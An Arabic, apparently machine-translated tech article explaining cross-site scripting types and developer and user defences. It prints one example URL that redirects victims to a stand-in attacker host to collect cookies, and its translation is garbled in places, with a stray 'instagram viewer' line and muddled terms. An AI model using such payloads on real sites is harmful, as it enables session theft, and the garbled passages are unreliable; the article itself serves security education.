يمكن أن تكون البرمجة النصية عبر المواقع أو XSS هجومًا قويًا وسريعًا. بصفتك المطور ، قد تأخذ الأمر بحثًا عن خطأ في شفرتك وينتهي بك الأمر بالبحث عن أخطاء غير موجودة.

كعميل يستخدم موقع الويب الضعيف ، يمكنك أيضًا الكشف عن معلومات حيوية حول وصول المصادقة إلى المهاجم ببراءة.

إذن ما هي البرمجة النصية عبر المواقع؟ كيف يمكن للمتسللين استخدامه لاقتحام موقع ويب وسرقة بياناتك؟ وكيف يمكنك التخفيف من مثل هذه المخاطر؟

ما هي البرمجة النصية عبر المواقع؟

تحدث البرمجة النصية عبر المواقع أو XSS إذا تفاعل البرنامج النصي من موقع ويب ضار مع تعليمات برمجية على موقع ضعيف.

لكن الخوادم سلكية بطريقة تمنع الأشخاص الذين ليس لديهم مصادقة من الوصول إلى رمز مصدر موقع الويب الخاص بك وتحريره.

يستخدم الإنترنت نفس سياسة المنشأ (SOP) لحظر التفاعلات عبر المواقع. ومع ذلك ، يتحقق الإجراء التشغيلي الموحد من ثلاث ثغرات أمنية رئيسية ويحاول التخفيف منها. هم انهم:

  • سياسة بروتوكول الإنترنت التي تتحقق مما إذا كان كلا الموقعين يقدمان محتوى على SSL (HTTPS) أو عنوان URL غير آمن (HTTP).
  • نفس سياسة مضيف الويب ، والتي تضمن أنك تستضيف كلا الموقعين على نفس النطاق.
  • instagram viewer
  • سياسة المنفذ التي تتحقق مما إذا كان كلا الموقعين يستخدمان نقاط نهاية اتصالات مماثلة.

تنص SOP على أنه إذا كانت أي من هذه السياسات مختلفة لأي موقعين من مواقع الويب ، فلا يمكنهم قراءة البيانات أو تبادلها عبر الويب.

لكن JavaScript هي لغة تلاعب تحدد استجابة موقع الويب. بينما من المرجح أن تكون JavaScript لموقع الويب الخاص بك في ملف منفصل ، يمكنك أيضًا إنشاء علامة نصية وكتابتها في نموذج كائن المستند (DOM).

لذلك قد يفكر مهاجم XSS: "إذا كان بإمكانك كتابة JavaScript في DOM ، فيمكنك في النهاية تنفيذه في أي محرر كود أو حقل الإدخال الذي يقبل علامات HTML ".

مثل هذه الثغرة والصدفة هي ما يبحث عنه مهاجم يستخدم XSS على موقع ويب مستهدف. بمجرد العثور على مثل هذه الثغرة ، يمكنهم تجاوز SOP.

متعلق ب: ورقة الغش في نهاية المطاف جافا سكريبت

لذلك ، يعد XSS هجومًا يستخدمه المخترقون لحقن برنامج نصي يقوم بإجراء ضار في موقع ويب ضعيف. يمكن أن يستهدف البرنامج النصي النماذج غير المحمية أو حقول الإدخال التي تقبل البيانات.

كيف تعمل البرمجة النصية عبر المواقع وأنواعها ، مع أمثلة

يمكن أن يكون XSS تنفيذًا سريعًا لبرنامج نصي منعكس أو مؤقت يضعه المهاجم في نماذج مثل حقول البحث. يمكن أن يكون أيضًا مزعجًا أو مستمرًا يتم حقنه في قاعدة البيانات. أو يمكن أن يأتي بشكل سلبي بعد تحميل الصفحة.

في بعض الحالات ، يمكن لهذا النص أيضًا تغيير المدخلات الأصلية للضحية لتحويل نواياهم. التغيير المستمر في مدخلات المستخدم مثل هذا هو XSS المتحور.

مهما كان شكله ، فإن الهدف من هجوم XSS هو سرقة بيانات الضحية من خلال ملفات تعريف الارتباط والسجلات المكشوفة.

لنلقِ نظرة على شرح موجز لكل نوع من أنواع هجمات XSS وأمثلةها لفهم ماهيتها.

ما هو انعكاس XSS؟

XSS المنعكس أو المؤقت عبارة عن حقن مباشر لـ JavaScript في حقل إدخال المستخدم. يستهدف الطلبات التي تحصل على البيانات من قاعدة البيانات ، مثل نتائج البحث. لكنه هجوم هدف عميل واحد.

خلال XSS المنعكس ، يقوم المهاجم بإدراج نص في مصطلح البحث للضحية المستهدفة. قد يكون جافا سكريبت مثل صدى أو إعادة توجيه أو جامع ملفات تعريف الارتباط.

يتم بعد ذلك تنفيذ البرنامج النصي الذي تم حقنه في حقل إدخال البحث بمجرد قيام العميل المستهدف بتقديم استعلامه.

على سبيل المثال ، أثناء بحث المستخدم ، قد يقوم المهاجم بإدخال JavaScript يردد نموذجًا ، ويطلب من الضحية إدخال كلمة المرور أو اسم المستخدم الخاص به. بمجرد قيام المستخدم بذلك ، قد ينتهي بهم الأمر إلى إرسال بيانات اعتمادهم دون علم إلى أحد المهاجمين ، معتقدين أنها طلب من الموقع الأصلي.

في بعض الأحيان ، يمكن للمهاجم أيضًا استخدام برنامج نصي لإعادة توجيه المستخدم من الصفحة المعرضة للخطر إلى صفحته. هناك على صفحة المهاجم ، يمكن بعد ذلك خداع المستخدم المطمئن لإرسال بعض النماذج ، مما يؤدي إلى تسرب بيانات الاعتماد.

وبالمثل ، إذا كان الهدف هو سرقة جلسة المستخدم ، يقوم المهاجم بحقن برنامج نصي لجمع ملفات تعريف الارتباط في مصطلح بحث المستخدم. ثم يقومون باختطاف جلسة المستخدم الحالية ، وسرقة المعلومات ذات الصلة ، والاستيلاء على أنشطة الضحية.

يسرق مثال هجوم XSS أدناه ملف تعريف ارتباط المستخدم عبر طلب GET:

http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

في مثال XSS أعلاه ، وجد المهاجم ثغرة في موقع الويب الضعيف. لذلك عندما يبحث المستخدم عن مورد غير متاح على الموقع المعرض للخطر ، فإنه يعيد توجيهه إلى صفحة المهاجم. ثم ينقر المهاجم على ملف تعريف ارتباط المستخدم الحالي ويستولي على جلسته.

ومع ذلك ، فإن هذه الثغرة الأمنية شائعة حيث لا تتم تصفية إجراء الاستعلام الخاص بالموقع للتحقق من إدخالات البرامج النصية عبر HTML.

ولكن حتى إذا كان هناك استعلام تمت تصفيته ، يمكن للمهاجم تجاوز ذلك باللجوء إلى تدابير يائسة مثل إرسال روابط إلى المستخدمين المحتملين في الوقت الفعلي لموقع الويب. يمكنهم القيام بذلك باستخدام أي شكل من أشكال الهندسة الاجتماعية متاح لهم.

متعلق ب: ماذا تفعل بعد السقوط في هجوم التصيد الاحتيالي

بمجرد أن ينقر الضحايا على هذا الرابط ، يمكن للخاطف الآن تنفيذ هجوم XSS بنجاح وسرقة البيانات ذات الصلة من الضحية.

البرمجة النصية المستمرة أو المخزنة عبر المواقع

يشكل XSS المخزن المزيد من التهديدات. في هذه الحالة ، يقوم المهاجم بتخزين البرنامج النصي في قاعدة بيانات موقع الويب ، مما يؤدي إلى تنفيذ مستمر للبرنامج النصي المخزن. يمكن تشغيل الكود المخزن عند تحميل الصفحة أو بعد تحميل الصفحة.

على عكس الشكل المؤقت لـ XSS ، فإن XSS المخزن يستهدف قاعدة المستخدمين الكاملة لموقع الويب الضعيف. بالإضافة إلى ذلك ، فهو يستهدف سلامة موقع الويب المتأثر أيضًا.

أثناء XSS المستمر ، يستخدم المهاجم حقول الإدخال مثل نماذج التعليقات لنشر البرنامج النصي في قاعدة بيانات موقع الويب.

ولكن ماذا لو قمت بحماية حقول POST باستخدام رموز CSRF؟ لسوء الحظ ، تتجاوز البرمجة النصية للمواقع المخزنة عمليات فحص CSRF.

ذلك لأن المهاجم يرسل نموذجًا مثل أي مستخدم آخر للموقع. لذلك ، يرسل نموذج التعليق هذا البرنامج النصي إلى قاعدة البيانات كما يفعل جميع التعليقات الأخرى.

يمكن أن يحدث مثل هذا الهجوم عندما لا تستخدم حقول الإدخال على موقع الويب المطهرات المناسبة للهروب من البرامج النصية وعلامات HTML.

تخيل مستخدمًا ينشر البرنامج النصي أدناه باستخدام نموذج تعليق على الويب:




عندما يقوم المهاجم بإدخال رمز مثل هذا في قاعدة بيانات موقع الويب ، فإنه يستمر في إعادة توجيه الضحية إلى موقع الويب الخاص بالمهاجم عند تحميل الصفحة. يمكن أن يكون البرنامج النصي أيضًا تنبيهًا أو مربعًا شكليًا تفاعليًا أو إعلانًا ضارًا مضمنًا.

نظرًا لأن البرنامج النصي يعيد التوجيه عند تحميل الصفحة ، فقد يفشل الضحية غير المعتادة على موقع الويب الضعيف في ملاحظة إعادة التوجيه.

ثم يمضون قدما في التفاعل مع موقع المهاجم. ومع ذلك ، يمكن للخاطف بعد ذلك استخدام عدة وسائل للحصول على معلومات من الضحايا بمجرد وجودهم على صفحة الويب الخاصة بهم.

ما هو DOM أو XSS السلبي؟

ينفذ XSS المستند إلى DOM رمزًا ضارًا مضمنًا في موقع الويب ، مما يجبر DOM بأكمله من جانب العميل على التصرف بشكل غير عادي.

أثناء التخزين والانعكاس ، يستهدف XSS الطلبات من جانب الخادم على موقع ويب ، يستهدف DOM XSS أنشطة وقت التشغيل. إنه يعمل عن طريق إدخال برنامج نصي في مكون موقع الويب الذي يؤدي مهمة محددة. لا يقوم هذا المكون بتنفيذ إجراء من جانب الخادم.

ومع ذلك ، فإن البرنامج النصي الذي تم إدراجه في مثل هذا المكون يغير الغرض منه تمامًا. إذا كان هذا المكون يؤدي مهمة مرتبطة بـ DOM ، مثل تلك التي تغير عناصر موقع الويب ، فقد يفرض البرنامج النصي صفحة الويب بأكملها للتغيير.

في أسوأ الحالات ، يمكن لـ XSS المستند إلى DOM تقليد خطأ. ذلك لأن صفحة الويب تصبح تفاعلية بشكل غير عادي.

كيفية منع هجوم البرمجة عبر المواقع

تأتي ثغرة XSS من الاستخدام غير السليم لأفضل ممارسات الخلفية. لذا فإن منع هجوم البرمجة النصية عبر المواقع هو عادة مسؤولية المطور. لكن المستخدمين لديهم أيضًا دور يلعبونه.

لا يبدو استخدام رمز CSFR المميز لحقول الإدخال حلاً لهجمات XSS. ونظرًا لأن هذا الهجوم يتجاوز أيضًا نفس سياسة الأصل ، يحتاج المطورون إلى توخي الحذر حتى لا يتجاهلوا ممارسات الأمان التي تمنع XSS.

الإجراءات الوقائية التالية مفيدة للمطورين.

تعقيم حقول المدخلات

لمنع كل من XSS المخزن والمؤقت ، يجب عليك استخدام معقمات فعالة لحقول الإدخال. تعقيم استعلامات البحث ، على سبيل المثال ، يمنع إدخال العلامات في مصطلحات بحث المستخدمين.

استخدم Unicode و HTML Auto Escape

من المفيد استخدام الهروب التلقائي لـ HTML و Unicode لمنع حقول الإدخال مثل التعليقات ونماذج التحويل من قبول البرامج النصية وعلامات HTML. الهروب التلقائي هو إجراء وقائي فعال ضد XSS المخزن أو الثابت.

يُعد السماح للمستخدمين بإدراج العلامات في نماذج التعليقات فكرة سيئة لأي موقع ويب. إنه خرق أمني. ومع ذلك ، إذا كان لا بد من السماح بذلك ، فيجب عليك فقط قبول العلامات التي لا تشكل تهديدات XSS.

استخدم التحقق المناسب من المدخلات

حتى إذا قمت بحظر العلامات تمامًا ، فلا يزال بإمكان المهاجم تنفيذ هجوم XSS من خلال الوسائل الاجتماعية. يمكنهم إرسال رسائل بريد إلكتروني بدلاً من وضع أي شيء مباشرة على موقع الويب الضعيف.

لذا فإن طريقة أخرى لمنعه هي التحقق من صحة المدخلات بكفاءة. تتضمن هذه الإجراءات التحقق من صحة البروتوكولات والتأكد من أن موقع الويب الخاص بك لا يقبل إلا المدخلات من HTTPS الآمن وليس HTTP.

يمكن أن يساعد استخدام مكتبات JavaScript مخصصة مثل dompurify أيضًا في منع الخروقات الأمنية المتعلقة بـ XSS.

يمكنك استخدام أدوات مثل ماسح XSS أو المهوس للتحقق من ثغرات XSS على موقع الويب الخاص بك.

كيف يمكن للمستخدمين منع XSS

هناك الملايين من المواقع على الإنترنت اليوم. لذلك لا يمكنك تحديد أي واحد لديه مشكلات أمان XSS.

ومع ذلك ، كمستخدم ، يجب عليك التأكد من أنك على دراية بأي خدمة ويب قبل استخدامها. إذا أصبحت إحدى صفحات الويب زاحفة فجأة أو بدأت في التصرف بشكل غير عادي ، فقد يكون هذا بمثابة علامة حمراء.

مهما كانت الحالة ، احرص على عدم الكشف عن البيانات الشخصية لطرف ثالث غير موثوق به. ثم ابحث عن رسائل البريد الإلكتروني غير المرغوب فيها أو منشورات الوسائط الاجتماعية المشبوهة التي يمكن أن تؤدي إلى أي منها شكل من أشكال هجمات التصيد.

لا توجد طريقة وقائية واحدة تناسب الجميع

لقد رأينا كيف يبدو هجوم XSS وكيفية منعه. من السهل نسيان فحوصات أمان XSS أثناء التطوير. لذلك يجب على المطورين اتخاذ خطوات لضمان عدم حذف الحماية. ومع ذلك ، فإن مجموعة الإجراءات الوقائية التي ذكرناها سابقًا تعمل بشكل أفضل.

بريد الالكتروني
ما هي هجمات CSRF وكيف يمكنك منعها؟

لمنعك من فقدان النقود وبيانات الاعتماد في هجمات CSRF ، لكل من المطورين والمستخدمين دور يلعبونه.

مواضيع ذات صلة
  • حماية
  • جافا سكريبت
  • أمن المتصفح
عن المؤلف
إيدوو أوميسولا (تم نشر 53 مقالة)

Idowu شغوف بأي شيء التكنولوجيا الذكية والإنتاجية في أوقات فراغه ، يلعب بالبرمجة ويتحول إلى رقعة الشطرنج عندما يشعر بالملل ، لكنه أيضًا يحب الابتعاد عن الروتين من حين لآخر. يحفزه شغفه بإظهار طريقة حول التكنولوجيا الحديثة للناس على كتابة المزيد

المزيد من Idowu Omisola

اشترك في نشرتنا الإخبارية

انضم إلى النشرة الإخبارية لدينا للحصول على نصائح تقنية ومراجعات وكتب إلكترونية مجانية وصفقات حصرية!

خطوة أخرى أيضا…!

يرجى تأكيد عنوان بريدك الإلكتروني في البريد الإلكتروني الذي أرسلناه لك للتو.

.